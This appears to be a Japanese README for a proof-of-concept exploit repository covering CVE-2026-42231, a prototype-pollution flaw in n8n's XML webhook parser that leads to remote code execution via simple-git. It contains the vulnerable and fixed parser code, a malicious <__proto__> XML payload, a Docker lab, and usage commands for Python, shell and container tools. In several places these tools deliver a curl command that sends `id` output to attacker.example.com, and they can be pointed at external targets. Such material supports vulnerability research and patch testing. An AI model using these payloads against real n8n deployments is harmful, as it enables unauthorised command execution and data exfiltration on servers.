
CVE-2026-42231の概念実証エクスプロイト。n8n XMLウェブフックにおける重大なプロトタイプ汚染の脆弱性であり、リモートコード実行につながります。Dockerラボ、Python PoC、Node.js検証ツールが含まれています。
CVE: CVE-2026-42231
深刻度: Critical (CVSS 10.0)
影響を受けるバージョン: n8n < 1.123.32 / < 2.17.4 / < 2.18.1
修正済みバージョン: n8n 1.123.32 / 2.17.4 / 2.18.1
packages/cli/src/middlewares/body-parser.ts は、tagNameProcessors や
attrNameProcessors を指定せずにモジュールレベルのシングルトン
xml2js Parser を作成します。これにより、攻撃者は <__proto__> 要素を
含む XML Webhook ボディを送信できます。
xml2js 0.6.2 は Object.defineProperty をデータ記述子とともに使用して、
パースされたオブジェクトに要素キーを設定します。'__proto__' in obj は常に
であるため、 は値を配列にラップし、それを
として保存します — 通常であれば
プロトタイプチェーンを安全に更新する アクセサをバイパスします。
trueassignOrPush()[[Set]]独自の __proto__ プロパティは JSON.stringify(n8n が実行データを
SQLite/PostgreSQL に永続化する際に実行)を生き延び、リロード時の
JSON.parse 後に続く Object.assign(target, reloadedBody) が
target のプロトタイプを攻撃者が制御するオブジェクトに再ルーティングします。
SSH 操作を実行する Git ノードも含むワークフローでは、汚染された
プロトタイプが spawnOptions / GIT_SSH_COMMAND 値を
simple-git の createInstanceConfig に公開し、OS レベルのコマンド実行を
可能にします。
// packages/cli/src/middlewares/body-parser.ts (VULNERABLE — < 1.123.32)
const xmlParser = new XmlParser({
async: true,
normalize: true,
normalizeTags: true, // lowercases tags — but does NOT block __proto__
explicitArray: false,
// ← NO tagNameProcessors
// ← NO attrNameProcessors
});
修正 (>= 1.123.32):
function sanitizeXmlName(name: string): string {
const unsafe = new Set(['__proto__', 'constructor', 'prototype']);
return unsafe.has(name) ? `sanitized_${name}` : name;
}
const xmlParser = new XmlParser({
async: true,
normalize: true,
normalizeTags: true,
explicitArray: false,
tagNameProcessors: [sanitizeXmlName],
attrNameProcessors: [sanitizeXmlName],
});
1. 攻撃者は公開 Webhook トリガーに XML POST を送信します:
POST /webhook/<id> Content-Type: application/xml
<?xml version="1.0" encoding="UTF-8"?>
<root>
<__proto__>
<env GIT_SSH_COMMAND="attacker_cmd"/>
<spawnoptions><shell>true</shell></spawnoptions>
</__proto__>
</root>
2. xml2js ボディパーサーは req.body.root を作成します。ここで '__proto__' は
独自の列挙可能なデータプロパティです:
Object.getOwnPropertyDescriptor(req.body.root, '__proto__')
→ { value: [{}, {env: {$: {GIT_SSH_COMMAND: '...'}}, ...}],
enumerable: true, writable: true, configurable: true }
3. n8n の deepCopy() は for...in + hasOwnProp を使用して独自キーを反復処理します。
代入 clone['__proto__'] = deepCopy(attackerArray) は
[[Set]] アクセサを介して clone のプロトタイプを静かに置き換えます。
4. n8n は実行データを DB にシリアライズします:
JSON.stringify(body.root)
→ '{"__proto__":[{},{"env":...,"spawnoptions":...}],"data":"..."}'
__proto__ キーは独自かつ列挙可能であるため含まれます。
SQLite の execution_data テーブルで確認済みです。
5. リロード時、JSON.parse は '__proto__' を独自のデータプロパティとして
再作成します(プレーンオブジェクト、配列ラップなし)。
Object.assign(gitOptions, reloadedBody)
は gitOptions のプロトタイプを攻撃者が制御するオブジェクトに再ルーティングします。
6. Git ノードが simpleGit(gitOptions) を呼び出すと:
createInstanceConfig(gitOptions)
はプロトタイプチェーンを介して config.spawnOptions を読み取り → truthy →
spawnOptionsPlugin が登録されます。
env オブジェクトに GIT_SSH_COMMAND がある場合、git は次の SSH 操作で
攻撃者のコマンドを実行します。
normalizeTags に関する注意normalizeTags: true はすべての XML タグ名を小文字化するため、
<GIT_SSH_COMMAND> のような子要素はパースされたオブジェクトで
git_ssh_command になります。環境変数名の大文字小文字を保持するには、
XML 属性を使用してください(属性名は normalizeTags によって
正規化されません):
<env GIT_SSH_COMMAND="attacker_cmd"/>
chmod +x exploit.sh
./exploit.sh setup
これにより n8nio/n8n:1.123.22(最後に影響を受けるリリース)をプルし、
攻撃者イメージをビルドし、http://localhost:5678 で脆弱なターゲットを
起動し、Webhook ワークフローを自動的に作成・アクティブ化し、Webhook URL を
.webhook_state に保存します。
./exploit.sh setup
期待される出力(省略):
[*] Pulling vulnerable n8n image (1.123.22) ...
[*] Building attacker image ...
[*] Starting vulnerable n8n target ...
[*] Waiting for n8n to become healthy ...
[*] Creating webhook workflow (Webhook → Code node) ...
[+] Lab is ready.
Run: ./exploit.sh demo # verify the pollution primitive
./exploit.sh exploit # deliver all three RCE payloads
./exploit.sh demo
PoC は検証ペイロードを送信し、n8n ワークフローからエコーバックされた パース済みボディを表示します。脆弱なインスタンスは以下を返します:
[+] HTTP 200
Response: {"step1_ownEnumerableProto":true,
"step1_descriptor":{"enumerable":true,
"value":"[{},{\"polluted\":\"GHSA-q5f4-99jv-pgg5-CONFIRMED\"}]"},
"step2_deepCopySimulated":true,
"step3_jsonRoundTripOwn":true,
"step3_jsonStr":"{\"__proto__\":[...],\"legit\":\"harmless-data\"}",
"step4_objectAssignPolluted":true, ...}
./exploit.sh exploit
# またはカスタムコマンドで:
./exploit.sh exploit "curl http://attacker.example.com/\$(id|base64)"
3 つの補完的なペイロードが配信されます:
| ペイロード | 手法 |
|---|---|
| A | <__proto__> タグ — GIT_SSH_COMMAND を XML 属性として使用 |
| B | <constructor><prototype> チェーン |
| C | env 属性を持つネストされた <__proto__> |
GIT_SSH_COMMAND の出力が含まれます。"step4_objectAssignPolluted": true が含まれます。pip install -r requirements.txt
# 検証のみ — Git ノードは不要:
python3 poc_GHSA-q5f4-99jv-pgg5.py \
--target http://n8n.target.com \
--webhook-id <webhook-path> \
--demo
# 完全なエクスプロイト — Webhook + Git/SSH ノードワークフローが必要:
python3 poc_GHSA-q5f4-99jv-pgg5.py \
--target http://n8n.target.com \
--webhook-id <webhook-path> \
--cmd 'curl http://attacker.example.com/$(id|base64)'
一部のデプロイメントでは、n8n は Webhook を
/webhook/<workflowId>/webhook/<path> として登録します。短い形式
/webhook/<path> が 404 を返す場合は、ワークフロー ID プレフィックスを
--target として渡してください:
python3 poc_GHSA-q5f4-99jv-pgg5.py \
--target "http://n8n.target.com/webhook/<workflowId>" \
--webhook-id <path> \
--demo
n8n が使用する正確な xml2js パーサー設定を再現し、4 つのチェーン ステージすべてを順に実行します:
cd /tmp/xml2js-test && npm install [email protected]
node /path/to/verify_GHSA-q5f4-99jv-pgg5.js
脆弱な設定での期待される出力:
[STEP 1] VULNERABLE — '__proto__' is own enumerable data property
descriptor: { value: '[Object.prototype, {"polluted":"CONFIRMED"}]',
enumerable: true, writable: true, configurable: true }
[STEP 1] Fixed parser renamed __proto__ to sanitized___proto__
[STEP 2] deepCopy prototype changed → clone proto[1].polluted = "CONFIRMED"
[STEP 3] After JSON round-trip + Object.assign → target.polluted = "undefined"
[ RCE ] If target is used as simpleGit config AND the prototype exposes
e.g. { spawnOptions: { shell: true } }, git will be spawned through a shell
[STEP 4] mockGitConfig.spawnOptions = {"shell":"/bin/bash"} (found via prototype chain)
[ RCE ] simpleGit would call: spawnOptionsPlugin(config.spawnOptions)
══ RESULT: Instance uses VULNERABLE xml2js config (no sanitizeXmlName) ══
# 攻撃者イメージのビルド
docker build -t n8n-proto-pollution-poc .
# デモモード(共有ラボネットワークに接続)
docker run --rm --network ghsa-q5f4-99jv-pgg5_lab \
n8n-proto-pollution-poc \
--target http://n8n-vuln:5678/webhook/<workflowId> \
--webhook-id cve-2026-42231-poc \
--demo
# 完全なエクスプロイト
docker run --rm --network ghsa-q5f4-99jv-pgg5_lab \
n8n-proto-pollution-poc \
--target http://n8n-vuln:5678/webhook/<workflowId> \
--webhook-id cve-2026-42231-poc \
--cmd 'curl http://attacker.example.com/$(id|base64)'
# 外部ターゲットに対して(ネットワークフラグ不要)
docker run --rm n8n-proto-pollution-poc \
--target https://n8n.example.com \
--webhook-id <path> \
--demo
./exploit.sh clean
コンテナを停止し、ボリューム(SQLite データベースを含む)を削除します。
| ファイル | 説明 |
|---|---|
poc_GHSA-q5f4-99jv-pgg5.py | スタンドアロン Python HTTP PoC — 3 つの XML ペイロードバリアント、--demo および --cmd モード |
verify_GHSA-q5f4-99jv-pgg5.js | Node.js ローカルチェーン検証ツール — ライブインスタンスなしで 4 つのエクスプロイトステージすべてを実行 |
Dockerfile | 攻撃者コンテナイメージ |
docker-compose.yml | 完全なラボ: 脆弱な n8n + 攻撃者コンテナ |
exploit.sh | セットアップ、デモ、エクスプロイト、クリーンアップ用のヘルパースクリプト |
requirements.txt | Python 依存関係 |